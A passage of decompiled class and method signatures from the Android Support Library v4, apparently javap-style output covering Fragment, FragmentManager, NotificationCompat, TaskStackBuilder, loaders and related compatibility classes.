package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplBase implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplBase();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/TaskStackBuilder.class


package android.support.v4.app;
public synchronized class TaskStackBuilder implements Iterable {
    private static final String TAG = TaskStackBuilder;
    private static final TaskStackBuilder$TaskStackBuilderImpl IMPL;
    private final java.util.ArrayList mIntents;
    private final android.content.Context mSourceContext;
    private void TaskStackBuilder(android.content.Context);
    public static TaskStackBuilder create(android.content.Context);
    public static TaskStackBuilder from(android.content.Context);
    public TaskStackBuilder addNextIntent(android.content.Intent);
    public TaskStackBuilder addNextIntentWithParentStack(android.content.Intent);
    public TaskStackBuilder addParentStack(android.app.Activity);
    public TaskStackBuilder addParentStack(Class);
    public TaskStackBuilder addParentStack(android.content.ComponentName);
    public int getIntentCount();
    public android.content.Intent getIntent(int);
    public android.content.Intent editIntentAt(int);
    public java.util.Iterator iterator();
    public void startActivities();
    public void startActivities(android.os.Bundle);
    public android.app.PendingIntent getPendingIntent(int, int);
    public android.app.PendingIntent getPendingIntent(int, int, android.os.Bundle);
    public android.content.Intent[] getIntents();
    static void <clinit>();
}










android/support/v4/app/FragmentContainer.class


package android.support.v4.app;
abstract interface FragmentContainer {
    public abstract android.view.View findViewById(int);
}










android/support/v4/app/LoaderManager.class


package android.support.v4.app;
public abstract synchronized class LoaderManager {
    public void LoaderManager();
    public abstract android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract void destroyLoader(int);
    public abstract android.support.v4.content.Loader getLoader(int);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
    public boolean hasRunningLoaders();
}










android/support/v4/app/Fragment$InstantiationException.class


package android.support.v4.app;
public synchronized class Fragment$InstantiationException extends RuntimeException {
    public void Fragment$InstantiationException(String, Exception);
}










android/support/v4/app/Fragment$SavedState.class


package android.support.v4.app;
public synchronized class Fragment$SavedState implements android.os.Parcelable {
    final android.os.Bundle mState;
    public static final android.os.Parcelable$Creator CREATOR;
    void Fragment$SavedState(android.os.Bundle);
    void Fragment$SavedState(android.os.Parcel, ClassLoader);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/ShareCompat$ShareCompatImpl.class


package android.support.v4.app;
abstract interface ShareCompat$ShareCompatImpl {
    public abstract void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public abstract String escapeHtml(CharSequence);
}










android/support/v4/app/NotificationCompat$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompat$Builder {
    android.content.Context mContext;
    CharSequence mContentTitle;
    CharSequence mContentText;
    android.app.PendingIntent mContentIntent;
    android.app.PendingIntent mFullScreenIntent;
    android.widget.RemoteViews mTickerView;
    android.graphics.Bitmap mLargeIcon;
    CharSequence mContentInfo;
    int mNumber;
    int mPriority;
    boolean mUseChronometer;
    NotificationCompat$Style mStyle;
    CharSequence mSubText;
    int mProgressMax;
    int mProgress;
    boolean mProgressIndeterminate;
    java.util.ArrayList mActions;
    android.app.Notification mNotification;
    public void NotificationCompat$Builder(android.content.Context);
    public NotificationCompat$Builder setWhen(long);
    public NotificationCompat$Builder setUsesChronometer(boolean);
    public NotificationCompat$Builder setSmallIcon(int);
    public NotificationCompat$Builder setSmallIcon(int, int);
    public NotificationCompat$Builder setContentTitle(CharSequence);
    public NotificationCompat$Builder setContentText(CharSequence);
    public NotificationCompat$Builder setSubText(CharSequence);
    public NotificationCompat$Builder setNumber(int);
    public NotificationCompat$Builder setContentInfo(CharSequence);
    public NotificationCompat$Builder setProgress(int, int, boolean);
    public NotificationCompat$Builder setContent(android.widget.RemoteViews);
    public NotificationCompat$Builder setContentIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setDeleteIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setFullScreenIntent(android.app.PendingIntent, boolean);
    public NotificationCompat$Builder setTicker(CharSequence);
    public NotificationCompat$Builder setTicker(CharSequence, android.widget.RemoteViews);
    public NotificationCompat$Builder setLargeIcon(android.graphics.Bitmap);
    public NotificationCompat$Builder setSound(android.net.Uri);
    public NotificationCompat$Builder setSound(android.net.Uri, int);
    public NotificationCompat$Builder setVibrate(long[]);
    public NotificationCompat$Builder setLights(int, int, int);
    public NotificationCompat$Builder setOngoing(boolean);
    public NotificationCompat$Builder setOnlyAlertOnce(boolean);
    public NotificationCompat$Builder setAutoCancel(boolean);
    public NotificationCompat$Builder setDefaults(int);
    private void setFlag(int, boolean);
    public NotificationCompat$Builder setPriority(int);
    public NotificationCompat$Builder addAction(int, CharSequence, android.app.PendingIntent);
    public NotificationCompat$Builder setStyle(NotificationCompat$Style);
    public android.app.Notification getNotification();
    public android.app.Notification build();
}










android/support/v4/app/NavUtils.class


package android.support.v4.app;
public synchronized class NavUtils {
    private static final String TAG = NavUtils;
    public static final String PARENT_ACTIVITY = android.support.PARENT_ACTIVITY;
    private static final NavUtils$NavUtilsImpl IMPL;
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpFromSameTask(android.app.Activity);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static android.content.Intent getParentActivityIntent(android.content.Context, Class) throws android.content.pm.PackageManager$NameNotFoundException;
    public static android.content.Intent getParentActivityIntent(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    public static String getParentActivityName(android.app.Activity);
    public static String getParentActivityName(android.content.Context, android.content.ComponentName) throws android.content.pm.PackageManager$NameNotFoundException;
    private void NavUtils();
    static void <clinit>();
}










android/support/v4/app/FragmentManager$OnBackStackChangedListener.class


package android.support.v4.app;
public abstract interface FragmentManager$OnBackStackChangedListener {
    public abstract void onBackStackChanged();
}










android/support/v4/app/NotificationCompat$BigPictureStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigPictureStyle extends NotificationCompat$Style {
    android.graphics.Bitmap mPicture;
    public void NotificationCompat$BigPictureStyle();
    public void NotificationCompat$BigPictureStyle(NotificationCompat$Builder);
    public NotificationCompat$BigPictureStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigPictureStyle setSummaryText(CharSequence);
    public NotificationCompat$BigPictureStyle bigPicture(android.graphics.Bitmap);
}










android/support/v4/app/FragmentPagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentPagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentPagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private Fragment mCurrentPrimaryItem;
    public void FragmentPagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public long getItemId(int);
    private static String makeFragmentName(int, long);
}










android/support/v4/app/Fragment.class


package android.support.v4.app;
public synchronized class Fragment implements android.content.ComponentCallbacks, android.view.View$OnCreateContextMenuListener {
    private static final java.util.HashMap sClassMap;
    static final int INITIALIZING = 0;
    static final int CREATED = 1;
    static final int ACTIVITY_CREATED = 2;
    static final int STOPPED = 3;
    static final int STARTED = 4;
    static final int RESUMED = 5;
    int mState;
    android.view.View mAnimatingAway;
    int mStateAfterAnimating;
    android.os.Bundle mSavedFragmentState;
    android.util.SparseArray mSavedViewState;
    int mIndex;
    String mWho;
    android.os.Bundle mArguments;
    Fragment mTarget;
    int mTargetIndex;
    int mTargetRequestCode;
    boolean mAdded;
    boolean mRemoving;
    boolean mResumed;
    boolean mFromLayout;
    boolean mInLayout;
    boolean mRestored;
    int mBackStackNesting;
    FragmentManagerImpl mFragmentManager;
    FragmentActivity mActivity;
    FragmentManagerImpl mChildFragmentManager;
    Fragment mParentFragment;
    int mFragmentId;
    int mContainerId;
    String mTag;
    boolean mHidden;
    boolean mDetached;
    boolean mRetainInstance;
    boolean mRetaining;
    boolean mHasMenu;
    boolean mMenuVisible;
    boolean mCalled;
    int mNextAnim;
    android.view.ViewGroup mContainer;
    android.view.View mView;
    android.view.View mInnerView;
    boolean mDeferStart;
    boolean mUserVisibleHint;
    LoaderManagerImpl mLoaderManager;
    boolean mLoadersStarted;
    boolean mCheckedForLoaderManager;
    public void Fragment();
    public static Fragment instantiate(android.content.Context, String);
    public static Fragment instantiate(android.content.Context, String, android.os.Bundle);
    final void restoreViewState(android.os.Bundle);
    final void setIndex(int, Fragment);
    final boolean isInBackStack();
    public final boolean equals(Object);
    public final int hashCode();
    public String toString();
    public final int getId();
    public final String getTag();
    public void setArguments(android.os.Bundle);
    public final android.os.Bundle getArguments();
    public void setInitialSavedState(Fragment$SavedState);
    public void setTargetFragment(Fragment, int);
    public final Fragment getTargetFragment();
    public final int getTargetRequestCode();
    public final FragmentActivity getActivity();
    public final android.content.res.Resources getResources();
    public final CharSequence getText(int);
    public final String getString(int);
    public final transient String getString(int, Object[]);
    public final FragmentManager getFragmentManager();
    public final FragmentManager getChildFragmentManager();
    public final Fragment getParentFragment();
    public final boolean isAdded();
    public final boolean isDetached();
    public final boolean isRemoving();
    public final boolean isInLayout();
    public final boolean isResumed();
    public final boolean isVisible();
    public final boolean isHidden();
    public void onHiddenChanged(boolean);
    public void setRetainInstance(boolean);
    public final boolean getRetainInstance();
    public void setHasOptionsMenu(boolean);
    public void setMenuVisibility(boolean);
    public void setUserVisibleHint(boolean);
    public boolean getUserVisibleHint();
    public LoaderManager getLoaderManager();
    public void startActivity(android.content.Intent);
    public void startActivityForResult(android.content.Intent, int);
    public void onActivityResult(int, int, android.content.Intent);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public void onInflate(android.app.Activity, android.util.AttributeSet, android.os.Bundle);
    public void onAttach(android.app.Activity);
    public android.view.animation.Animation onCreateAnimation(int, boolean, int);
    public void onCreate(android.os.Bundle);
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public android.view.View getView();
    public void onActivityCreated(android.os.Bundle);
    public void onViewStateRestored(android.os.Bundle);
    public void onStart();
    public void onResume();
    public void onSaveInstanceState(android.os.Bundle);
    public void onConfigurationChanged(android.content.res.Configuration);
    public void onPause();
    public void onStop();
    public void onLowMemory();
    public void onDestroyView();
    public void onDestroy();
    void initState();
    public void onDetach();
    public void onCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public void onPrepareOptionsMenu(android.view.Menu);
    public void onDestroyOptionsMenu();
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onOptionsMenuClosed(android.view.Menu);
    public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu$ContextMenuInfo);
    public void registerForContextMenu(android.view.View);
    public void unregisterForContextMenu(android.view.View);
    public boolean onContextItemSelected(android.view.MenuItem);
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    Fragment findFragmentByWho(String);
    void instantiateChildFragmentManager();
    void performCreate(android.os.Bundle);
    android.view.View performCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    void performActivityCreated(android.os.Bundle);
    void performStart();
    void performResume();
    void performConfigurationChanged(android.content.res.Configuration);
    void performLowMemory();
    boolean performCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    boolean performPrepareOptionsMenu(android.view.Menu);
    boolean performOptionsItemSelected(android.view.MenuItem);
    boolean performContextItemSelected(android.view.MenuItem);
    void performOptionsMenuClosed(android.view.Menu);
    void performSaveInstanceState(android.os.Bundle);
    void performPause();
    void performStop();
    void performReallyStop();
    void performDestroyView();
    void performDestroy();
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl$5.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$5 implements android.view.animation.Animation$AnimationListener {
    void FragmentManagerImpl$5(FragmentManagerImpl, Fragment);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
    public void onAnimationStart(android.view.animation.Animation);
}










android/support/v4/app/ServiceCompat.class


package android.support.v4.app;
public synchronized class ServiceCompat {
    public static final int START_STICKY = 1;
    private void ServiceCompat();
}










android/support/v4/app/NotificationCompat$InboxStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$InboxStyle extends NotificationCompat$Style {
    java.util.ArrayList mTexts;
    public void NotificationCompat$InboxStyle();
    public void NotificationCompat$InboxStyle(NotificationCompat$Builder);
    public NotificationCompat$InboxStyle setBigContentTitle(CharSequence);
    public NotificationCompat$InboxStyle setSummaryText(CharSequence);
    public NotificationCompat$InboxStyle addLine(CharSequence);
}










android/support/v4/app/ShareCompatICS.class


package android.support.v4.app;
synchronized class ShareCompatICS {
    private static final String HISTORY_FILENAME_PREFIX = .sharecompat_;
    void ShareCompatICS();
    public static void configureMenuItem(android.view.MenuItem, android.app.Activity, android.content.Intent);
}










android/support/v4/app/FragmentTabHost$SavedState.class


package android.support.v4.app;
synchronized class FragmentTabHost$SavedState extends android.view.View$BaseSavedState {
    String curTab;
    public static final android.os.Parcelable$Creator CREATOR;
    void FragmentTabHost$SavedState(android.os.Parcelable);
    private void FragmentTabHost$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$NotificationCompatImpl.class


package android.support.v4.app;
abstract interface NotificationCompat$NotificationCompatImpl {
    public abstract android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/NotificationCompat$BigTextStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigTextStyle extends NotificationCompat$Style {
    CharSequence mBigText;
    public void NotificationCompat$BigTextStyle();
    public void NotificationCompat$BigTextStyle(NotificationCompat$Builder);
    public NotificationCompat$BigTextStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigTextStyle setSummaryText(CharSequence);
    public NotificationCompat$BigTextStyle bigText(CharSequence);
}










android/support/v4/app/NotificationCompatJellybean.class


package android.support.v4.app;
synchronized class NotificationCompatJellybean {
    private android.app.Notification$Builder b;
    public void NotificationCompatJellybean(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, int, CharSequence);
    public void addAction(int, CharSequence, android.app.PendingIntent);
    public void addBigTextStyle(CharSequence, boolean, CharSequence, CharSequence);
    public void addBigPictureStyle(CharSequence, boolean, CharSequence, android.graphics.Bitmap);
    public void addInboxStyle(CharSequence, boolean, CharSequence, java.util.ArrayList);
    public android.app.Notification build();
}










android/support/v4/app/NavUtilsJB.class


package android.support.v4.app;
synchronized class NavUtilsJB {
    void NavUtilsJB();
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static String getParentActivityName(android.content.pm.ActivityInfo);
}










android/support/v4/app/FragmentState$1.class


package android.support.v4.app;
final synchronized class FragmentState$1 implements android.os.Parcelable$Creator {
    void FragmentState$1();
    public FragmentState createFromParcel(android.os.Parcel);
    public FragmentState[] newArray(int);
}










android/support/v4/app/FragmentManagerImpl$4.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$4 implements Runnable {
    void FragmentManagerImpl$4(FragmentManagerImpl, int, int);
    public void run();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplJellybean implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplJellybean();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/NavUtils$NavUtilsImplJB.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplJB extends NavUtils$NavUtilsImplBase {
    void NavUtils$NavUtilsImplJB();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    android.content.Intent superGetParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/FragmentManagerState.class


package android.support.v4.app;
final synchronized class FragmentManagerState implements android.os.Parcelable {
    FragmentState[] mActive;
    int[] mAdded;
    BackStackState[] mBackStack;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentManagerState();
    public void FragmentManagerState(android.os.Parcel);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat.class


package android.support.v4.app;
public synchronized class NotificationCompat {
    public static final int FLAG_HIGH_PRIORITY = 128;
    public static final int PRIORITY_DEFAULT = 0;
    public static final int PRIORITY_LOW = -1;
    public static final int PRIORITY_MIN = -2;
    public static final int PRIORITY_HIGH = 1;
    public static final int PRIORITY_MAX = 2;
    private static final NotificationCompat$NotificationCompatImpl IMPL;
    public void NotificationCompat();
    static void <clinit>();
}










android/support/v4/app/FragmentTabHost$DummyTabFactory.class


package android.support.v4.app;
synchronized class FragmentTabHost$DummyTabFactory implements android.widget.TabHost$TabContentFactory {
    private final android.content.Context mContext;
    public void FragmentTabHost$DummyTabFactory(android.content.Context);
    public android.view.View createTabContent(String);
}










android/support/v4/app/ListFragment$1.class


package android.support.v4.app;
synchronized class ListFragment$1 implements Runnable {
    void ListFragment$1(ListFragment);
    public void run();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplBase.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplBase implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplBase();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/FragmentManagerImpl.class


package android.support.v4.app;
final synchronized class FragmentManagerImpl extends FragmentManager {
    static boolean DEBUG;
    static final String TAG = FragmentManager;
    static final boolean HONEYCOMB;
    static final String TARGET_REQUEST_CODE_STATE_TAG = android:target_req_state;
    static final String TARGET_STATE_TAG = android:target_state;
    static final String VIEW_STATE_TAG = android:view_state;
    static final String USER_VISIBLE_HINT_TAG = android:user_visible_hint;
    java.util.ArrayList mPendingActions;
    Runnable[] mTmpActions;
    boolean mExecutingActions;
    java.util.ArrayList mActive;
    java.util.ArrayList mAdded;
    java.util.ArrayList mAvailIndices;
    java.util.ArrayList mBackStack;
    java.util.ArrayList mCreatedMenus;
    java.util.ArrayList mBackStackIndices;
    java.util.ArrayList mAvailBackStackIndices;
    java.util.ArrayList mBackStackChangeListeners;
    int mCurState;
    FragmentActivity mActivity;
    FragmentContainer mContainer;
    Fragment mParent;
    boolean mNeedMenuInvalidate;
    boolean mStateSaved;
    boolean mDestroyed;
    String mNoTransactionsBecause;
    boolean mHavePendingDeferredStart;
    android.os.Bundle mStateBundle;
    android.util.SparseArray mStateArray;
    Runnable mExecCommit;
    static final android.view.animation.Interpolator DECELERATE_QUINT;
    static final android.view.animation.Interpolator DECELERATE_CUBIC;
    static final android.view.animation.Interpolator ACCELERATE_QUINT;
    static final android.view.animation.Interpolator ACCELERATE_CUBIC;
    static final int ANIM_DUR = 220;
    public static final int ANIM_STYLE_OPEN_ENTER = 1;
    public static final int ANIM_STYLE_OPEN_EXIT = 2;
    public static final int ANIM_STYLE_CLOSE_ENTER = 3;
    public static final int ANIM_STYLE_CLOSE_EXIT = 4;
    public static final int ANIM_STYLE_FADE_ENTER = 5;
    public static final int ANIM_STYLE_FADE_EXIT = 6;
    void FragmentManagerImpl();
    private void throwException(RuntimeException);
    public FragmentTransaction beginTransaction();
    public boolean executePendingTransactions();
    public void popBackStack();
    public boolean popBackStackImmediate();
    public void popBackStack(String, int);
    public boolean popBackStackImmediate(String, int);
    public void popBackStack(int, int);
    public boolean popBackStackImmediate(int, int);
    public int getBackStackEntryCount();
    public FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public void putFragment(android.os.Bundle, String, Fragment);
    public Fragment getFragment(android.os.Bundle, String);
    public Fragment$SavedState saveFragmentInstanceState(Fragment);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    static android.view.animation.Animation makeOpenCloseAnimation(android.content.Context, float, float, float, float);
    static android.view.animation.Animation makeFadeAnimation(android.content.Context, float, float);
    android.view.animation.Animation loadAnimation(Fragment, int, boolean, int);
    public void performPendingDeferredStart(Fragment);
    void moveToState(Fragment, int, int, int, boolean);
    void moveToState(Fragment);
    void moveToState(int, boolean);
    void moveToState(int, int, int, boolean);
    void startPendingDeferredFragments();
    void makeActive(Fragment);
    void makeInactive(Fragment);
    public void addFragment(Fragment, boolean);
    public void removeFragment(Fragment, int, int);
    public void hideFragment(Fragment, int, int);
    public void showFragment(Fragment, int, int);
    public void detachFragment(Fragment, int, int);
    public void attachFragment(Fragment, int, int);
    public Fragment findFragmentById(int);
    public Fragment findFragmentByTag(String);
    public Fragment findFragmentByWho(String);
    private void checkStateLoss();
    public void enqueueAction(Runnable, boolean);
    public int allocBackStackIndex(BackStackRecord);
    public void setBackStackIndex(int, BackStackRecord);
    public void freeBackStackIndex(int);
    public boolean execPendingActions();
    void reportBackStackChanged();
    void addBackStackState(BackStackRecord);
    boolean popBackStackState(android.os.Handler, String, int, int);
    java.util.ArrayList retainNonConfig();
    void saveFragmentViewState(Fragment);
    android.os.Bundle saveFragmentBasicState(Fragment);
    android.os.Parcelable saveAllState();
    void restoreAllState(android.os.Parcelable, java.util.ArrayList);
    public void attachActivity(FragmentActivity, FragmentContainer, Fragment);
    public void noteStateNotSaved();
    public void dispatchCreate();
    public void dispatchActivityCreated();
    public void dispatchStart();
    public void dispatchResume();
    public void dispatchPause();
    public void dispatchStop();
    public void dispatchReallyStop();
    public void dispatchDestroyView();
    public void dispatchDestroy();
    public void dispatchConfigurationChanged(android.content.res.Configuration);
    public void dispatchLowMemory();
    public boolean dispatchCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
    public boolean dispatchPrepareOptionsMenu(android.view.Menu);
    public boolean dispatchOptionsItemSelected(android.view.MenuItem);
    public boolean dispatchContextItemSelected(android.view.MenuItem);
    public void dispatchOptionsMenuClosed(android.view.Menu);
    public static int reverseTransit(int);
    public static int transitToStyleIndex(int, boolean);
    static void <clinit>();
}










android/support/v4/content/IntentCompat$IntentCompatImplHC.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplHC extends IntentCompat$IntentCompatImplBase {
    void IntentCompat$IntentCompatImplHC();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/Loader$OnLoadCompleteListener.class


package android.support.v4.content;
public abstract interface Loader$OnLoadCompleteListener {
    public abstract void onLoadComplete(Loader, Object);
}










android/support/v4/content/IntentCompat$IntentCompatImplIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplIcsMr1 extends IntentCompat$IntentCompatImplHC {
    void IntentCompat$IntentCompatImplIcsMr1();
    public android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/ModernAsyncTask$InternalHandler.class


package android.support.v4.content;
synchronized class ModernAsyncTask$InternalHandler extends android.os.Handler {
    private void ModernAsyncTask$InternalHandler();
    public void handleMessage(android.os.Message);
}










android/support/v4/content/AsyncTaskLoader.class


package android.support.v4.content;
public abstract synchronized class AsyncTaskLoader extends Loader {
    static final String TAG = AsyncTaskLoader;
    static final boolean DEBUG = 0;
    volatile AsyncTaskLoader$LoadTask mTask;
    volatile AsyncTaskLoader$LoadTask mCancellingTask;
    long mUpdateThrottle;
    long mLastLoadCompleteTime;
    android.os.Handler mHandler;
    public void AsyncTaskLoader(android.content.Context);
    public void setUpdateThrottle(long);
    protected void onForceLoad();
    public boolean cancelLoad();
    public void onCanceled(Object);
    void executePendingTask();
    void dispatchOnCancelled(AsyncTaskLoader$LoadTask, Object);
    void dispatchOnLoadComplete(AsyncTaskLoader$LoadTask, Object);
    public abstract Object loadInBackground();
    protected Object onLoadInBackground();
    public void waitForLoader();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/content/LocalBroadcastManager$BroadcastRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$BroadcastRecord {
    final android.content.Intent intent;
    final java.util.ArrayList receivers;
    void LocalBroadcastManager$BroadcastRecord(android.content.Intent, java.util.ArrayList);
}










android/support/v4/content/IntentCompat$IntentCompatImplBase.class


package android.support.v4.content;
synchronized class IntentCompat$IntentCompatImplBase implements IntentCompat$IntentCompatImpl {
    void IntentCompat$IntentCompatImplBase();
    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeMainSelectorActivity(String, String);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/IntentCompat.class


package android.support.v4.content;
public synchronized class IntentCompat {
    private static final IntentCompat$IntentCompatImpl IMPL;
    public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE;
    public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE;
    public static final String EXTRA_CHANGED_PACKAGE_LIST = android.intent.extra.changed_package_list;
    public static final String EXTRA_CHANGED_UID_LIST = android.intent.extra.changed_uid_list;
    public static final String EXTRA_HTML_TEXT = android.intent.extra.HTML_TEXT;
    public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384;
    public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768;
    private void IntentCompat();
    public static android.content.Intent makeMainActivity(android.content.ComponentName);
    public static android.content.Intent makeMainSelectorActivity(String, String);
    public static android.content.Intent makeRestartActivityTask(android.content.ComponentName);
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask.class


package android.support.v4.content;
abstract synchronized class ModernAsyncTask {
    private static final String LOG_TAG = AsyncTask;
    private static final int CORE_POOL_SIZE = 5;
    private static final int MAXIMUM_POOL_SIZE = 128;
    private static final int KEEP_ALIVE = 1;
    private static final java.util.concurrent.ThreadFactory sThreadFactory;
    private static final java.util.concurrent.BlockingQueue sPoolWorkQueue;
    public static final java.util.concurrent.Executor THREAD_POOL_EXECUTOR;
    private static final int MESSAGE_POST_RESULT = 1;
    private static final int MESSAGE_POST_PROGRESS = 2;
    private static final ModernAsyncTask$InternalHandler sHandler;
    private static volatile java.util.concurrent.Executor sDefaultExecutor;
    private final ModernAsyncTask$WorkerRunnable mWorker;
    private final java.util.concurrent.FutureTask mFuture;
    private volatile ModernAsyncTask$Status mStatus;
    private final java.util.concurrent.atomic.AtomicBoolean mTaskInvoked;
    public static void init();
    public static void setDefaultExecutor(java.util.concurrent.Executor);
    public void ModernAsyncTask();
    private void postResultIfNotInvoked(Object);
    private Object postResult(Object);
    public final ModernAsyncTask$Status getStatus();
    protected abstract transient Object doInBackground(Object[]);
    protected void onPreExecute();
    protected void onPostExecute(Object);
    protected transient void onProgressUpdate(Object[]);
    protected void onCancelled(Object);
    protected void onCancelled();
    public final boolean isCancelled();
    public final boolean cancel(boolean);
    public final Object get() throws InterruptedException, java.util.concurrent.ExecutionException;
    public final Object get(long, java.util.concurrent.TimeUnit) throws InterruptedException, java.util.concurrent.ExecutionException, java.util.concurrent.TimeoutException;
    public final transient ModernAsyncTask execute(Object[]);
    public final transient ModernAsyncTask executeOnExecutor(java.util.concurrent.Executor, Object[]);
    public static void execute(Runnable);
    protected final transient void publishProgress(Object[]);
    private void finish(Object);
    static void <clinit>();
}










android/support/v4/content/ModernAsyncTask$1.class


package android.support.v4.content;
final synchronized class ModernAsyncTask$1 implements java.util.concurrent.ThreadFactory {
    private final java.util.concurrent.atomic.AtomicInteger mCount;
    void ModernAsyncTask$1();
    public Thread newThread(Runnable);
}










android/support/v4/content/LocalBroadcastManager$ReceiverRecord.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$ReceiverRecord {
    final android.content.IntentFilter filter;
    final android.content.BroadcastReceiver receiver;
    boolean broadcasting;
    void LocalBroadcastManager$ReceiverRecord(android.content.IntentFilter, android.content.BroadcastReceiver);
    public String toString();
}










android/support/v4/content/IntentCompatIcsMr1.class


package android.support.v4.content;
synchronized class IntentCompatIcsMr1 {
    void IntentCompatIcsMr1();
    public static android.content.Intent makeMainSelectorActivity(String, String);
}










android/support/v4/content/CursorLoader.class


package android.support.v4.content;
public synchronized class CursorLoader extends AsyncTaskLoader {
    final Loader$ForceLoadContentObserver mObserver;
    android.net.Uri mUri;
    String[] mProjection;
    String mSelection;
    String[] mSelectionArgs;
    String mSortOrder;
    android.database.Cursor mCursor;
    public android.database.Cursor loadInBackground();
    void registerContentObserver(android.database.Cursor, android.database.ContentObserver);
    public void deliverResult(android.database.Cursor);
    public void CursorLoader(android.content.Context);
    public void CursorLoader(android.content.Context, android.net.Uri, String[], String, String[], String);
    protected void onStartLoading();
